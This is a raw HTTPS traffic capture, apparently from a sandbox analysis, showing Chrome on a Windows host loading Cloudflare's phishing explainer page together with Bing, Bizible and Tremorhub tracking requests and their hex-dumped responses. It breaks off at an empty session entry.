2024-10-18 13:48:14 UTC	716	OUT	GET /ipv?_biz_r=https%3A%2F%2Fbookingadocel.com%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&_biz_t=1729259291812&_biz_i=What%20is%20a%20phishing%20attack%3F%20%7C%20Cloudflare&_biz_n=0&rnd=105613&cdn_o=a&_biz_z=1729259291814 HTTP/1.1 Host: cdn.bizible.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
2024-10-18 13:48:15 UTC	438	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 577973 Cache-Control: no-cache, no-store Content-Type: Image/GIF Date: Fri, 18 Oct 2024 13:48:15 GMT Expires: -1 Last-Modified: Fri, 11 Oct 2024 21:15:22 GMT P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Pragma: no-cache Server: ECS (lhd/370A) Strict-Transport-Security: max-age=31536000; includeSub X-Cache: HIT Content-Length: 43 Connection: close
2024-10-18 13:48:15 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff ff ff ff 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.8	50845	150.171.27.10	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:14 UTC	355	OUT	GET /p/action/5268204.js HTTP/1.1 Host: bat.bing.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:15 UTC	571	IN	HTTP/1.1 200 OK Cache-Control: private,max-age=60 Content-Length: 1754 Content-Type: application/javascript; charset=utf-8 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: EB1032FDF73A4EEEB711E9AE916492A1 Ref B: DFW311000102045 Ref C: 2024-10-18T13:48:15Z Date: Fri, 18 Oct 2024 13:48:14 GMT Connection: close
2024-10-18 13:48:15 UTC	810	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 63 2c 6b 2c 61 2c 62 2c 74 2c 65 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 63 73 20 3d 20 64 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 0d 0a 20 20 20 20 69 66 20 28 63 73 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 75 6f 20 3d 20 63 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 74 61 2d 75 65 74 6f 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 75 6f 20 26 26 20 77 5b 75 6f 5d 20 26 26 20 74 79 70 65 6f 66 20 77 5b 75 6f 5d 2e 73 65 74 55 73 65 72 53 69 67 6e 61 6c 73 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 5b 75 6f 5d 2e 73 65 74 55 73 65 72 53 69 67 6e 61 6c 73 28 7b 27 63 6f 27 3a 20 63 2c 20 27 6b 63 27 3a 20 6b 2c 20 27 61 74 27 3a Data Ascii: (function(w,d,c,k,a,b,t,e) { var cs = d.currentScript; if (cs) { var uo = cs.getAttribute('data-ueto'); if (uo && w[uo] && typeof w[uo].setUserSignals === 'function') { w[uo].setUserSignals({'co': c, 'kc': k, 'at':
2024-10-18 13:48:15 UTC	944	IN	Data Raw: 65 74 75 72 6e 20 75 20 26 26 20 74 79 70 65 6f 66 20 75 20 3d 3d 3d 20 27 6f 62 6a 65 63 74 27 20 26 26 20 21 28 75 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 20 26 26 20 75 2e 62 65 61 63 6f 6e 50 61 72 61 6d 73 20 26 26 20 75 2e 62 65 61 63 6f 6e 50 61 72 61 6d 73 2e 6d 69 64 20 26 26 20 77 2e 77 65 62 69 6e 73 69 67 68 74 73 3b 20 7d 3b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 72 20 3d 20 34 30 3b 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 63 6c 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 72 2d 2d 20 3c 20 31 29 20 72 65 74 75 72 6e 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 6f 20 3d 20 63 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 27 64 61 74 61 2d 75 65 74 6f 27 29 3b Data Ascii: eturn u && typeof u === 'object' && !(u instanceof Array) && u.beaconParams && u.beaconParams.mid && w.webinsights; }; var r = 40; var cl = function() { if (r-- < 1) return; var uo = c.getAttribute('data-ueto');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.8	50852	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	4330	OUT	GET /page-data/plans/enterprise/contact/page-data.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb [TRUNCATED]
2024-10-18 13:48:15 UTC	963	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:15 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"c2089031876fe28e3fe2155dd77072c1" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lqP6avkz3ZjPjmOwlIsf0wyObz%2BkngoTulomZ%2FTaFuJbJusXl315qhMQCBj855iZAJvDDjrz5zdlOFqSMIdNnjlYB3iauium5%2B5N41KMM5u7cuAqTUneLk2N1wuOSPQmHat9DQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc22c91c4696-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 37 66 66 32 0d 0a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 43 68 75 6e 6b 4e 61 6d 65 22 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 61 67 65 2d 70 61 67 65 2d 74 65 6d 70 6c 61 74 65 2d 74 73 78 22 2c 22 70 61 74 68 22 3a 22 2f 70 6c 61 6e 73 2f 65 6e 74 65 72 70 72 69 73 65 2f 63 6f 6e 74 61 63 74 2f 22 2c 22 72 65 73 75 6c 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 70 61 67 65 22 3a 7b 22 70 61 67 65 4e 61 6d 65 22 3a 22 50 6c 61 6e 73 20 45 6e 74 65 72 70 72 69 73 65 20 43 6f 6e 74 61 63 74 20 46 6f 72 6d 20 50 61 67 65 20 28 4d 52 4b 2d 39 33 32 31 29 20 52 65 64 77 6f 6f 64 20 56 61 72 69 61 6e 74 22 2c 22 6c 6f 63 61 6c 65 4c 69 73 74 22 3a 7b 22 65 6e 55 53 22 3a 22 45 6e 67 6c 69 73 68 20 66 6f 72 20 4c 6f 63 61 Data Ascii: 7ff2{"componentChunkName":"component---src-components-page-page-template-tsx","path":"/plans/enterprise/contact/","result":{"data":{"page":{"pageName":"Plans Enterprise Contact Form Page (MRK-9321) Redwood Variant","localeList":{"enUS":"English for Loca
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 22 2c 22 74 77 69 74 74 65 72 43 75 73 74 6f 6d 49 6d 61 67 65 22 3a 6e 75 6c 6c 2c 22 6d 65 74 61 49 6d 61 67 65 22 3a 7b 22 66 69 6c 65 22 3a 7b 22 70 75 62 6c 69 63 55 52 4c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 66 2d 61 73 73 65 74 73 2e 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 73 6c 74 33 6c 63 36 74 65 76 33 37 2f 35 33 71 43 59 68 51 62 69 72 35 57 74 49 55 30 56 44 57 45 53 6f 2f 39 35 34 61 34 38 62 66 62 31 37 66 34 32 39 61 63 66 34 36 39 65 35 66 31 34 33 34 35 64 38 33 2f 75 6e 6e 61 6d 65 64 2d 33 2e 70 6e 67 22 7d 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 44 4f 20 4e 4f 54 20 52 45 4d 4f 56 45 2c 20 54 48 49 53 20 49 53 20 43 4c 4f 55 44 46 4c 41 52 45 27 53 20 47 4c 4f 42 41 4c 20 4f 47 20 4d 45 54 41 20 41 53 53 45 54 Data Ascii: ","twitterCustomImage":null,"metaImage":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/53qCYhQbir5WtIU0VDWESo/954a48bfb17f429acf469e5f14345d83/unnamed-3.png"},"description":"DO NOT REMOVE, THIS IS CLOUDFLARE'S GLOBAL OG META ASSET
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 63 72 69 70 74 69 6f 6e 22 3a 22 41 75 74 6f 6d 61 74 65 64 20 26 20 64 79 6e 61 6d 69 63 20 72 69 73 6b 20 63 6f 6e 74 72 6f 6c 73 20 61 63 72 6f 73 73 20 79 6f 75 72 20 61 74 74 61 63 6b 20 73 75 72 66 61 63 65 22 2c 22 75 72 6c 22 3a 22 2f 63 79 62 65 72 73 65 63 75 72 69 74 79 2d 72 69 73 6b 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 66 61 6c 73 65 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 34 61 39 5a 74 6d 51 6f Data Ascii: cription":"Automated & dynamic risk controls across your attack surface","url":"/cybersecurity-risk-management/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":false},{"contentTypeId":"elementNavLink","contentfulId":"4a9ZtmQo
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 5d 2c 22 6e 61 76 49 63 6f 6e 22 3a 6e 75 6c 6c 2c 22 73 68 6f 77 49 63 6f 6e 4f 6e 6c 79 22 3a 74 72 75 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 5d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 32 35 35 37 61 58 6c 6c 74 4d 57 36 64 79 4c 48 32 56 4b 6b 59 68 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 42 79 20 6e 65 65 64 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 Data Ascii: ],"navIcon":null,"showIconOnly":true,"hideOnChinaSite":false,"navigationItems":[]},{"contentTypeId":"navNavigationItem","contentfulId":"2557aXlltMW6dyLH2VKkYh","locale":"en-US","name":"By need","description":null,"mainLink":null,"navigationLinks":[{"conte
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 6c 20 61 70 70 6c 69 63 61 74 69 6f 6e 73 20 6f 6e 20 6f 75 72 20 67 6c 6f 62 61 6c 20 6e 65 74 77 6f 72 6b 22 2c 22 75 72 6c 22 3a 22 2f 64 65 76 65 6c 6f 70 65 72 2d 70 6c 61 74 66 6f 72 6d 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 66 61 6c 73 65 7d 5d 2c 22 6e 61 76 49 63 6f 6e 22 3a 6e 75 6c 6c 2c 22 73 68 6f 77 49 63 6f 6e 4f 6e 6c 79 22 3a 66 61 6c 73 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 5d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e Data Ascii: l applications on our global network","url":"/developer-platform","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":false}],"navIcon":null,"showIconOnly":false,"hideOnChinaSite":false,"navigationItems":[]},{"contentTypeId":"navN
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 67 61 6d 69 6e 67 20 73 65 72 76 69 63 65 73 20 6f 72 20 70 6c 61 74 66 6f 72 6d 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 67 61 6d 69 6e 67 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 35 6b 41 6d 34 4e 41 4d 6d 75 53 55 39 75 38 42 71 42 65 36 67 65 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 Data Ascii: ription":"For gaming services or platforms","url":"https://www.cloudflare.com/gaming/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"5kAm4NAMmuSU9u8BqBe6ge","locale":"e
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 32 32 45 79 51 52 5a 46 42 46 56 5a 55 6c 35 66 46 70 5a 42 35 35 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 53 61 61 53 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 73 6f 66 74 77 61 72 65 20 73 65 72 76 69 63 65 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 73 61 61 73 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 5d 2c 22 6e 61 76 49 63 6f 6e 22 3a Data Ascii: tNavLink","contentfulId":"22EyQRZFBFVZUl5fFpZB55","locale":"en-US","title":"SaaS","description":"For software services","url":"https://www.cloudflare.com/saas/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null}],"navIcon":
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 52 64 49 43 43 4c 6b 65 31 55 56 39 62 43 32 50 70 33 38 4b 6b 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 50 72 6f 6a 65 63 74 20 46 61 69 72 20 53 68 6f 74 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 76 61 63 63 69 6e 65 20 61 63 63 65 73 73 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 69 72 Data Ascii: ull,"openInNewWindow":false,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"RdICCLke1UV9bC2Pp38Kk","locale":"en-US","title":"Project Fair Shot","description":"For vaccine access organizations","url":"https://www.cloudflare.com/fair
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 4f 75 72 20 70 72 6f 64 75 63 74 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 5d 2c 22 6e 61 76 49 63 6f 6e 22 3a 6e 75 6c 6c 2c 22 73 68 6f 77 49 63 6f 6e 4f 6e 6c 79 22 3a 66 61 6c 73 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 32 4f 32 59 4b 45 34 73 70 6c 75 6a 59 6c 77 51 56 76 67 53 4c 73 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 Data Ascii: n-US","name":"Our products","description":null,"mainLink":null,"navigationLinks":[],"navIcon":null,"showIconOnly":false,"hideOnChinaSite":false,"navigationItems":[{"contentTypeId":"navNavigationItem","contentfulId":"2O2YKE4splujYlwQVvgSLs","locale":"en-US
2024-10-18 13:48:15 UTC	1369	IN	Data Raw: 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 68 7a 52 55 35 4d 4b 6d 43 4d 63 53 65 58 35 65 6b 49 65 56 58 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 4e 65 74 77 6f 72 6b 20 73 65 63 75 72 69 74 79 20 26 20 70 65 72 66 6f 72 6d 61 6e 63 65 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 50 72 6f 74 65 63 74 20 26 20 61 63 63 65 6c 65 72 61 74 65 20 69 6e 66 72 61 73 74 72 75 63 74 75 72 65 20 77 69 74 68 20 4c 33 20 44 44 6f 53 20 70 72 6f 74 65 63 74 69 6f 6e 20 26 20 46 57 2c 20 69 6e 74 65 72 63 6f 6e 6e 65 63 74 73 20 61 6e 64 20 73 6d 61 72 74 20 72 6f 75 74 69 6e 67 22 2c 22 75 72 Data Ascii: :null},{"contentTypeId":"elementNavLink","contentfulId":"hzRU5MKmCMcSeX5ekIeVX","locale":"en-US","title":"Network security & performance","description":"Protect & accelerate infrastructure with L3 DDoS protection & FW, interconnects and smart routing","ur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.8	50846	52.21.129.120	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	485	OUT	GET /sync?UIDM=18ee9fe9-01ca-43a0-b773-2c99f76388ad HTTP/1.1 Host: partners.tremorhub.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tvid=9cba43ec0b964a5c99ec33da08e31ddd; tv_UIDM=18ee9fe9-01ca-43a0-b773-2c99f76388ad
2024-10-18 13:48:15 UTC	369	IN	HTTP/1.1 200 Date: Fri, 18 Oct 2024 13:48:15 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close Server: nginx P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/' Set-Cookie: tv_UIDM=18ee9fe9-01ca-43a0-b773-2c99f76388ad; Domain=.tremorhub.com; Expires=Mon, 19-Oct-2026 01:24:55 GMT; Path=/; Secure; SameSite=None
2024-10-18 13:48:15 UTC	49	IN	Data Raw: 32 62 0d 0a 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a Data Ascii: 2bGIF89a!,D;
2024-10-18 13:48:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.8	50851	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:15 UTC	4357	OUT	GET /page-data/app-data.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259288673%2C%22hasActivity%22:false}; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb [TRUNCATED] If-None-Match: W/"ec218a277e6b4639d8f80224c4485e35"
2024-10-18 13:48:15 UTC	803	IN	HTTP/1.1 304 Not Modified Date: Fri, 18 Oct 2024 13:48:15 GMT Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LIZYs9Exj5JL1PNiLKwBzMH5y5jDkDEqB0fDUXC%2FLp7MmTuAVXQuVOZP6hMHOrZnmW8AlOcTa63F93UnrJC5lxsrWtSPFqsLV1B5VMWonsJdH%2FjRpY%2BKUZOBDweQTPUrvhUaGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fc22dd630bac-DFW alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.8	50849	150.171.28.10	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
